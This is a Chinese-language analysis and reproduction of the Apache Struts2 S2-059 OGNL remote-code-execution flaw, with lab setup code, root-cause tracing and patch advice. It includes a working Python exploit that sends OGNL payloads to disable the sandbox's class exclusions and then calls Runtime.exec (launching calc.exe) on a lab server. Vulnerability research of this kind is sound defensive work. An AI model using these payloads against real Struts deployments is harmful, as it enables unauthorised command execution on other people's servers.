S2-059 RCE浅析
字数 1372 2025-08-19 12:42:04
Apache Struts2 S2-059 RCE漏洞分析与复现
漏洞概述
Apache Struts2框架在处理某些标签时,会对标签属性值进行二次表达式解析。当标签属性值使用了类似%{payload}且payload为用户可控时,攻击者可以构造恶意payload参数,通过OGNL表达式执行导致远程代码执行(RCE)。
影响范围
- Struts 2.0.0 - Struts 2.5.20
利用条件
- 开启altSyntax功能(默认开启)
- 标签id属性中存在表达式且可控
前置知识
OGNL表达式
OGNL(Object-Graph Navigation Language)是对象图导航语言,具有以下特点:
- 支持对象方法调用:
objName.methodName() - 支持类静态方法调用和值访问:
@[类全名]@[方法名|值名] - 支持赋值操作和表达式串联
- 可以访问OGNL上下文(ActionContext)
- 可以操作集合对象
OGNL关键符号
-
#符号:- 访问非根元素(相当于ActionContext.getContext())
- 过滤和投影集合:
persons.{?#this.age>28} - 构造Map:
#{'foo1':'bar1','foo2':'bar2'}
-
%符号:- 在标志属性为字符串类型时计算OGNL表达式的值(类似eval)
-
$符号:- 在国际化资源文件中引用OGNL表达式
- 在Struts2配置文件中引用OGNL表达式
漏洞复现
测试环境搭建
- 使用JDK 8u66 + Tomcat 7.0.72 + Struts 2.5.16
- 创建测试项目(代码已上传至Github)
测试代码
S2059.jsp:
<%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8" %>
<%@ taglib prefix="s" uri="/struts-tags" %>
<html>
<head>
<title>S2059</title>
</head>
<body>
<s:a id="%{id}">SimpleTest</s:a>
</body>
</html>
Struts.xml:
<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE struts PUBLIC
"-//Apache Software Foundation//DTD Struts Configuration 2.0//EN"
"http://struts.apache.org/dtds/struts-2.0.dtd">
<struts>
<constant name="struts.devMode" value="false"/>
<package name="default" namespace="/" extends="struts-default">
<default-action-ref name="index"/>
<action name="S2059" class="org.heptagram.action.IndexAction" method="Test">
<result>S2059.jsp</result>
</action>
</package>
</struts>
IndexAction.java:
package org.heptagram.action;
import com.opensymphony.xwork2.ActionSupport;
public class IndexAction extends ActionSupport {
private String id;
public String getId() { return id; }
public void setId(String id) { this.id = id; }
public String Test() { return SUCCESS; }
}
简易测试
访问URL并提交id参数:
http://192.168.174.148:8080/SimpleStruts_war_exploded/S2059?id=1
构造恶意payload:
http://192.168.174.148:8080/SimpleStruts_war_exploded/S2059?id=%25{8*8}
EXP测试
import requests
url = "http://192.168.174.148:8080/SimpleStruts_war_exploded/S2059"
# 第一步:绕过沙盒限制
data1 = {
"id": "%{(#context=#attr['struts.valueStack'].context).(#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.setExcludedClasses('')).(#ognlUtil.setExcludedPackageNames(''))}"
}
# 第二步:执行命令
data2 = {
"id": "%{(#context=#attr['struts.valueStack'].context).(#context.setMemberAccess(@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)).(@java.lang.Runtime@getRuntime().exec('calc.exe'))}"
}
res1 = requests.post(url, data=data1)
res2 = requests.post(url, data=data2)
漏洞分析
漏洞触发流程
- 标签解析入口:
org.apache.struts2.views.jsp.ComponentTagSupport的doStartTag方法处理标签解析 - 获取值栈信息:通过
this.getStack()获取值栈 - 创建Anchor对象:通过
this.getBean创建并注入ActionContext.container - 参数赋值操作:调用
this.populateParams()进行标签属性赋值 - 表达式解析:
- 第一次解析:在
findString方法中解析%{id} - 第二次解析:在
evaluateParams方法中通过populateComponentHtmlId再次解析表达式
- 第一次解析:在
关键点分析
-
双重解析机制:
- 第一次解析将
%{id}解析为%{8*8} - 第二次解析将
%{8*8}解析为64,导致表达式执行
- 第一次解析将
-
maxLoopCount限制:
- 表达式解析有最大循环次数限制,每次只能解析一层
- 通过两次独立的解析过程绕过此限制
-
altSyntax功能:
- 默认开启,允许使用
%{}语法 - 是漏洞触发的必要条件
- 默认开启,允许使用
安全建议
- 升级到Struts最新版本
- 检查并限制用户输入的OGNL表达式
- 关闭不必要的altSyntax功能